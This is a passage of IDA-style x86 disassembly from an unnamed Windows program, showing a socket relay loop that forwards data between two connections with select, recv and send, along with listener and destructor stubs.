		lea	ecx, [esp+10Ch+arg_F0]
		mov	[esp+10Ch+arg_5390], 0Fh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jz	short loc_13D2FDA
		push	offset dword_443600
		lea	ecx, [esp+110h+arg_30]
		push	1
		push	ecx
		lea	ecx, [esp+118h+var_6C]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+118h+arg_5384], 11h
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+118h+arg_24]
		mov	[esp+118h+var_EC], eax
		mov	[esp+118h+arg_5384], 0Fh
		call	sub_13AB626


loc_13D2FDA:				; CODE XREF: sub_13D26E0+8ACj
		push	offset dword_443600
		lea	edx, [esp+11Ch+arg_3C]
		push	0
		push	edx
		lea	ecx, [esp+124h+var_78]
		call	sub_13ABAAE
		push	offset dword_445198
		mov	ecx, eax
		mov	[esp+128h+arg_5378], 12h
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+128h+arg_2C]
		mov	[esp+128h+arg_5374], 0Fh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jz	short loc_13D3069
		push	offset dword_443600
		lea	eax, [esp+12Ch+arg_5C]
		push	1
		push	eax
		lea	ecx, [esp+134h+var_88]
		call	sub_13ABAAE
		push	offset dword_44518C
		mov	ecx, eax
		mov	[esp+138h+arg_5368], 13h
		call	sub_13AB900
		lea	ecx, [esp+138h+arg_4C]
		mov	[esp+138h+arg_5364], 0Fh
		call	sub_13AB626


loc_13D3069:				; CODE XREF: sub_13D26E0+944j
		push	offset dword_443600
		lea	ecx, [esp+13Ch+arg_7C]
		push	0
		push	ecx
		lea	ecx, [esp+144h+var_98]
		call	sub_13ABAAE
		push	offset dword_44517C
		mov	ecx, eax
		mov	[esp+148h+arg_5358], 14h
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+148h+arg_6C]
		mov	[esp+148h+arg_5354], 0Fh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jz	short loc_13D3104
		push	offset dword_443600
		lea	edx, [esp+14Ch+arg_9C]
		push	1
		push	edx
		lea	ecx, [esp+154h+var_A8]
		call	sub_13ABAAE
		push	offset dword_445218
		mov	ecx, eax
		mov	[esp+158h+arg_5348], 15h
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+158h+arg_8C]
		mov	[esp+158h+arg_5344], 0Fh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		setnz	[esp+158h+var_147]


loc_13D3104:				; CODE XREF: sub_13D26E0+9D3j
		mov	esi, offset dword_445240
		lea	eax, [esp+158h+arg_33C]


loc_13D3110:				; CODE XREF: sub_13D26E0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3138
		test	cl, cl
		jz	short loc_13D3134
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3138
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D3110


loc_13D3134:				; CODE XREF: sub_13D26E0+A3Cj
		xor	eax, eax
		jmp	short loc_13D313D
; ---------------------------------------------------------------------------


loc_13D3138:				; CODE XREF: sub_13D26E0+A38j
					; sub_13D26E0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D313D:				; CODE XREF: sub_13D26E0+A56j
		test	eax, eax
		jz	loc_13D31D9
		mov	esi, offset byte_446F80
		lea	eax, [esp+158h+arg_33C]


loc_13D3151:				; CODE XREF: sub_13D26E0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3179
		test	cl, cl
		jz	short loc_13D3175
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3179
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D3151


loc_13D3175:				; CODE XREF: sub_13D26E0+A7Dj
		xor	eax, eax
		jmp	short loc_13D317E
; ---------------------------------------------------------------------------


loc_13D3179:				; CODE XREF: sub_13D26E0+A79j
					; sub_13D26E0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D317E:				; CODE XREF: sub_13D26E0+A97j
		test	eax, eax
		jz	short loc_13D31D9
		mov	edi, offset dword_445240
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+158h+arg_33C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+15Ch+arg_33C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+15Ch+arg_33C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	send	; send


loc_13D31D9:				; CODE XREF: sub_13D26E0+A5Fj
					; sub_13D26E0+AA0j
		lea	ecx, [esp+168h+var_C8]
		mov	[esp+168h+arg_5334], 0Eh
		call	sub_13AB626
		mov	esi, offset dword_445240
		lea	eax, [esp+168h+arg_32C]


loc_13D31F9:				; CODE XREF: sub_13D26E0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3221
		test	cl, cl
		jz	short loc_13D321D
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D3221
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D31F9


loc_13D321D:				; CODE XREF: sub_13D26E0+B25j
		xor	eax, eax
		jmp	short loc_13D3226
; ---------------------------------------------------------------------------


loc_13D3221:				; CODE XREF: sub_13D26E0+B21j
					; sub_13D26E0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D3226:				; CODE XREF: sub_13D26E0+B3Fj
		test	eax, eax
		jnz	loc_13D2EBF
		jmp	short loc_13D3235
; ---------------------------------------------------------------------------


loc_13D3230:				; CODE XREF: sub_13D26E0+840j
		mov	[esp+0F8h+var_E6], 1


loc_13D3235:				; CODE XREF: sub_13D26E0+81Aj
					; sub_13D26E0+B4Ej
		mov	ebx, [esp+0F8h+var_CC]


loc_13D3239:				; CODE XREF: sub_13D26E0+7D9j
		mov	al, [esp+0F8h+var_E7]
		push	0
		test	al, al
		jz	short loc_13D3261
		mov	edi, offset dword_44515C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_44515C
		push	eax
		jmp	short loc_13D327D
; ---------------------------------------------------------------------------


loc_13D3261:				; CODE XREF: sub_13D26E0+B61j
		mov	edi, offset dword_445144
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset dword_445144
		push	ecx


loc_13D327D:				; CODE XREF: sub_13D26E0+B7Fj
		call	send	; send
		mov	edi, offset dword_445240
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+108h+arg_38C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+10Ch+arg_38C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+110h+arg_38C]
		push	ecx
		push	edx
		call	send	; send
		test	ebx, ebx
		jz	loc_13D33AC
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_13D3334


loc_13D32E3:				; CODE XREF: sub_13D26E0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_13D3334
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+11Ch+arg_37C]
		push	4000h
		push	ecx
		push	edx
		call	recv	; recv
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_13D3334
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13D3334
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+12Ch+arg_36C]
		push	esi
		push	eax
		push	ecx
		call	send	; send
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_13D32E3


loc_13D3334:				; CODE XREF: sub_13D26E0+C01j
					; sub_13D26E0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_13D337E


loc_13D333A:				; CODE XREF: sub_13D26E0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+140h+arg_35C]
		push	edx
		push	eax
		call	recv	; recv
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_13D337E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13D337E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+14Ch+arg_34C]
		push	esi
		push	ecx
		push	edx
		call	send	; send
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_13D333A


loc_13D337E:				; CODE XREF: sub_13D26E0+C58j
					; sub_13D26E0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_13D360F
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	closesocket	; closesocket
		or	esi, 0FFFFFFFFh
		mov	[esp+15Ch+var_14A], 1
		mov	[ebp+0BBh], esi
		jmp	loc_13D3612
; ---------------------------------------------------------------------------


loc_13D33AC:				; CODE XREF: sub_13D26E0+BF7j
		mov	esi, recv


loc_13D33B2:				; CODE XREF: sub_13D26E0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+11Ch+arg_37C]
		push	4000h
		push	eax
		push	ecx
		call	esi ; recv
		cmp	eax, 1
		jl	short loc_13D337E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D337E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+130h+arg_36C]
		push	edx
		push	eax
		call	send	; send
		jmp	short loc_13D33B2
; ---------------------------------------------------------------------------


loc_13D33EE:				; CODE XREF: sub_13D26E0+66Cj
		lea	ecx, [esp+0D8h+var_C4]
		push	offset dword_445114
		push	ecx
		call	sub_13AB42D
		add	esp, 8
		lea	ecx, [esp+0D8h+var_C4]
		push	0
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+0E0h+var_C4]
		call	sub_13ABBE4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	send	; send
		test	eax, eax
		jz	loc_13D38B2
		cmp	eax, ebx
		jz	loc_13D38B2
		mov	ebx, recv


loc_13D3439:				; CODE XREF: sub_13D26E0+EB9j
					; sub_13D26E0+F11j ...
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+0E8h+arg_1A8], eax
		mov	[esp+0E8h+arg_1A4], 1
		xor	eax, eax
		lea	ecx, [esp+0E8h+arg_1A8]


loc_13D3460:				; CODE XREF: sub_13D26E0+D8Bj
		cmp	[ecx], edx
		jz	short loc_13D346D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_13D3460


loc_13D346D:				; CODE XREF: sub_13D26E0+D82j
		cmp	eax, 1
		jnz	short loc_13D3484
		mov	[esp+0E8h+arg_1AC], edx
		mov	[esp+0E8h+arg_1A4], 2


loc_13D3484:				; CODE XREF: sub_13D26E0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+0E8h+arg_3AC]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+0F0h+arg_1A4]
		push	eax
		push	ecx
		push	eax
		call	select	; select
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+0FCh+arg_190]
		push	edx
		push	eax
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D3500
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+108h+arg_390]
		push	4000h
		push	ecx
		push	edx
		call	ebx ; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D337E
		mov	ecx, [ebp+0BFh]
		push	0
		push	eax
		lea	eax, [esp+11Ch+arg_380]
		push	eax
		push	ecx
		call	send	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D337E


loc_13D3500:				; CODE XREF: sub_13D26E0+DDCj
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+124h+arg_168]
		push	edx
		push	eax
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D355A
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+130h+arg_368]
		push	4000h
		push	ecx
		push	edx
		call	ebx ; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D337E
		mov	ecx, [ebp+0BBh]
		push	0
		push	eax
		lea	eax, [esp+144h+arg_358]
		push	eax
		push	ecx
		call	send	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D337E


loc_13D355A:				; CODE XREF: sub_13D26E0+E36j
		mov	edi, Sleep
		push	5
		call	edi ; Sleep
		mov	eax, [ebp+0BBh]
		push	0
		lea	edx, [esp+154h+arg_344]
		push	4000h
		push	edx
		push	eax
		call	ebx ; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_13D337E
		jge	short loc_13D359E
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_13D359E
		push	1
		call	edi ; Sleep
		jmp	loc_13D3439
; ---------------------------------------------------------------------------


loc_13D359E:				; CODE XREF: sub_13D26E0+EA6j
					; sub_13D26E0+EB3j
		mov	edx, [ebp+0BFh]
		mov	edi, send
		push	0
		lea	ecx, [esp+164h+arg_334]
		push	esi
		push	ecx
		push	edx
		call	edi ; send
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+174h+arg_324]
		push	4000h
		push	eax
		push	ecx
		call	ebx ; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_13D337E
		jge	short loc_13D35F6
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_13D35F6
		push	1
		call	Sleep	; Sleep
		jmp	loc_13D3439
; ---------------------------------------------------------------------------


loc_13D35F6:				; CODE XREF: sub_13D26E0+EFAj
					; sub_13D26E0+F07j
		mov	eax, [ebp+0BBh]
		push	0
		lea	edx, [esp+184h+arg_314]
		push	esi
		push	edx
		push	eax
		call	edi ; send
		jmp	loc_13D3439
; ---------------------------------------------------------------------------


loc_13D360F:				; CODE XREF: sub_13D26E0+CA6j
		or	esi, 0FFFFFFFFh


loc_13D3612:				; CODE XREF: sub_13D26E0+CC7j
		mov	al, [esp+158h+var_147]
		test	al, al
		jnz	short loc_13D3632
		mov	edx, [ebp+0BFh]
		push	edx
		call	closesocket	; closesocket
		mov	[ebp+0BFh], esi
		mov	[esp+15Ch+var_14A], 1


loc_13D3632:				; CODE XREF: sub_13D26E0+F38j
		lea	ecx, [esp+15Ch+var_D4]
		mov	byte ptr [esp+15Ch+arg_5340], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_FC]
		mov	byte ptr [esp+15Ch+arg_5340], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_114]
		mov	byte ptr [esp+15Ch+arg_5340], 2
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_12C]
		mov	byte ptr [esp+15Ch+arg_5340], 1
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_148]
		mov	byte ptr [esp+15Ch+arg_5340], 0
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_A4]
		mov	[esp+15Ch+arg_5340], esi
		call	sub_13AB8B0
		or	esi, 0FFFFFFFFh


loc_13D36A0:				; CODE XREF: sub_13D26E0+EBj
		mov	al, [esp+15Ch+var_14A]
		test	al, al
		jz	loc_13D2718


loc_13D36AC:				; CODE XREF: sub_13D26E0+1074j
					; sub_13D26E0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_13D36C9
		mov	eax, [ebp+0BBh]
		push	eax
		call	closesocket	; closesocket
		mov	[ebp+0BBh], esi


loc_13D36C9:				; CODE XREF: sub_13D26E0+FD4j
		mov	al, [esp+160h+var_14F]
		test	al, al
		jz	short loc_13D36E4
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	closesocket	; closesocket
		mov	[ebp+0BFh], esi


loc_13D36E4:				; CODE XREF: sub_13D26E0+FEFj
					; sub_13D26E0+1255j
		mov	ecx, [esp+164h+arg_5330]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_13D36FD:				; CODE XREF: sub_13D26E0+40Aj
		lea	ecx, [esp+0B8h+var_58]
		mov	byte ptr [esp+0B8h+arg_53E4], 0Ch
		call	sub_13AB626


loc_13D370E:				; CODE XREF: sub_13D26E0+3D7j
		lea	ecx, [esp+0B8h+var_70]
		mov	byte ptr [esp+0B8h+arg_53E4], 2
		call	sub_13AB626


loc_13D371F:				; CODE XREF: sub_13D26E0+191j
					; sub_13D26E0+1AAj ...
		lea	ecx, [esp+0B8h+var_88]
		mov	byte ptr [esp+0B8h+arg_53E4], 1
		call	sub_13AB626


loc_13D3730:				; CODE XREF: sub_13D26E0+85j
		lea	ecx, [esp+0B8h+var_A4]
		mov	byte ptr [esp+0B8h+arg_53E4], 0
		call	sub_13AB626
		lea	ecx, [esp+0B8h]
		mov	[esp+0B8h+arg_53E4], esi
		call	sub_13AB8B0
		jmp	loc_13D36AC
; ---------------------------------------------------------------------------


loc_13D3759:				; CODE XREF: sub_13D26E0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		call	closesocket	; closesocket
		jmp	loc_13D38CA
; ---------------------------------------------------------------------------


loc_13D376B:				; CODE XREF: sub_13D26E0+644j
		lea	ecx, [esp+0CDh]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0D0h+var_B8]
		push	offset dword_44507C
		push	ecx
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+0CCh+var_B8]
		push	0
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+0D4h+var_B8]
		call	sub_13ABBE4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	send	; send
		mov	eax, [ebp+0BBh]
		mov	esi, closesocket
		push	eax
		call	esi ; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_13D38C8
; ---------------------------------------------------------------------------


loc_13D37C8:				; CODE XREF: sub_13D26E0+660j
		mov	edx, [esp+0D8h+arg_30]
		lea	ecx, [esp+0D8h+var_B]
		push	edx
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+0E0h+var_C4]
		push	offset dword_444FD4
		push	eax
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+0D8h+var_C4]
		push	0
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+0E0h+var_C4]
		call	sub_13ABBE4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	send	; send


loc_13D3812:				; CODE XREF: sub_13D26E0+711j
					; sub_13D26E0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, closesocket
		push	edx
		call	esi ; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_13D38C8
; ---------------------------------------------------------------------------


loc_13D382D:				; CODE XREF: sub_13D26E0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	closesocket	; closesocket
		jmp	loc_13D38CA
; ---------------------------------------------------------------------------


loc_13D383F:				; CODE XREF: sub_13D26E0+73Fj
		lea	ecx, [esp+0E8h+var_60]
		mov	byte ptr [esp+0E8h+arg_53B4], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+0E8h+var_88]
		mov	byte ptr [esp+0E8h+arg_53B4], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+0E8h+var_A0]
		mov	byte ptr [esp+0E8h+arg_53B4], 2
		call	sub_13AB626
		lea	ecx, [esp+0E8h+var_B8]
		mov	byte ptr [esp+0E8h+arg_53B4], 1
		call	sub_13AB626
		lea	ecx, [esp+0E8h+var_D4]
		mov	byte ptr [esp+0E8h+arg_53B4], 0
		call	sub_13AB626
		lea	ecx, [esp+0E8h+var_30]
		mov	[esp+0E8h+arg_53B4], ebx
		call	sub_13AB8B0
		or	esi, 0FFFFFFFFh
		jmp	loc_13D36AC
; ---------------------------------------------------------------------------


loc_13D38B2:				; CODE XREF: sub_13D26E0+D45j
					; sub_13D26E0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, closesocket
		push	ecx
		call	esi ; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_13D38C8:				; CODE XREF: sub_13D26E0+10E3j
					; sub_13D26E0+1148j
		call	esi ; closesocket


loc_13D38CA:				; CODE XREF: sub_13D26E0+1086j
					; sub_13D26E0+115Aj
		lea	ecx, [esp+0F0h+var_68]
		mov	byte ptr [esp+0F0h+arg_53AC], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_90]
		mov	byte ptr [esp+0F0h+arg_53AC], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_A8]
		mov	byte ptr [esp+0F0h+arg_53AC], 2
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_C0]
		mov	byte ptr [esp+0F0h+arg_53AC], 1
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_DC]
		mov	byte ptr [esp+0F0h+arg_53AC], 0
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_38]
		mov	[esp+0F0h+arg_53AC], ebx
		call	sub_13AB8B0
		jmp	loc_13D36E4
sub_13D26E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D3DE0	proc near		; CODE XREF: sub_13ABCDEj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BB08h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_44526C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E15C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D3DE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D3E50	proc near		; CODE XREF: sub_13AB52Cj sub_13AB68Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC508
		test	[esp+4+arg_0], 1
		jz	short loc_13D3E68
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D3E68:				; CODE XREF: sub_13D3E50+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D3E50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D3E80	proc near		; CODE XREF: sub_13AC508j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	dword_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D3E9B
		push	eax
		call	closesocket	; closesocket


loc_13D3E9B:				; CODE XREF: sub_13D3E80+12j
		mov	ecx, esi
		call	sub_13ABB9E
		pop	esi
		retn
sub_13D3E80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D3EC0	proc near		; CODE XREF: sub_13AB4E1j

var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	43BB2Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_13D3EE3:				; CODE XREF: sub_13D3EC0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_13D3F0A
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_13ABD7E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_13D3EE3


loc_13D3F0A:				; CODE XREF: sub_13D3EC0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_13D3FDC
		push	ebp
		push	esi


loc_13D3F20:				; CODE XREF: sub_13D3EC0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_13AB6DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_13D3FBB
		test	ebp, ebp
		jz	short loc_13D3FBB
		push	0C3h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+18h+var_C], eax
		test	eax, eax
		mov	dword ptr [esp+18h], 0
		jz	short loc_13D3F66
		mov	ecx, eax
		call	sub_13ABC84
		mov	esi, eax
		jmp	short loc_13D3F68
; ---------------------------------------------------------------------------


loc_13D3F66:				; CODE XREF: sub_13D3EC0+99j
		xor	esi, esi


loc_13D3F68:				; CODE XREF: sub_13D3EC0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	dword ptr [esp+1Ch], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_13AC3BE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_13AB7D4
		jmp	short loc_13D3FC6
; ---------------------------------------------------------------------------


loc_13D3FBB:				; CODE XREF: sub_13D3EC0+74j
					; sub_13D3EC0+7Cj
		push	0FAh
		call	Sleep	; Sleep


loc_13D3FC6:				; CODE XREF: sub_13D3EC0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_13D3F20
		pop	esi
		pop	ebp


loc_13D3FDC:				; CODE XREF: sub_13D3EC0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_13D3FEE
		push	edi
		call	closesocket	; closesocket


loc_13D3FEE:				; CODE XREF: sub_13D3EC0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D3EC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4050	proc near		; CODE XREF: sub_13AB77Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_13D4078
		call	sub_13ABBE4
		push	eax
		push	offset dword_4452C4
		jmp	short loc_13D4083
; ---------------------------------------------------------------------------


loc_13D4078:				; CODE XREF: sub_13D4050+19j
		call	sub_13ABBE4
		push	eax
		push	offset dword_44529C


loc_13D4083:				; CODE XREF: sub_13D4050+26j
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_13AB4E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_13ABBE4
		push	eax
		push	offset dword_445274
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_13D4050	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4120	proc near		; CODE XREF: sub_13AC51Cj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BB48h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_4452F0
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E16C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D4120	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4190	proc near		; CODE XREF: sub_13ABC70j sub_13ABF04j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC387
		test	[esp+4+arg_0], 1
		jz	short loc_13D41A8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D41A8:				; CODE XREF: sub_13D4190+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D4190	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
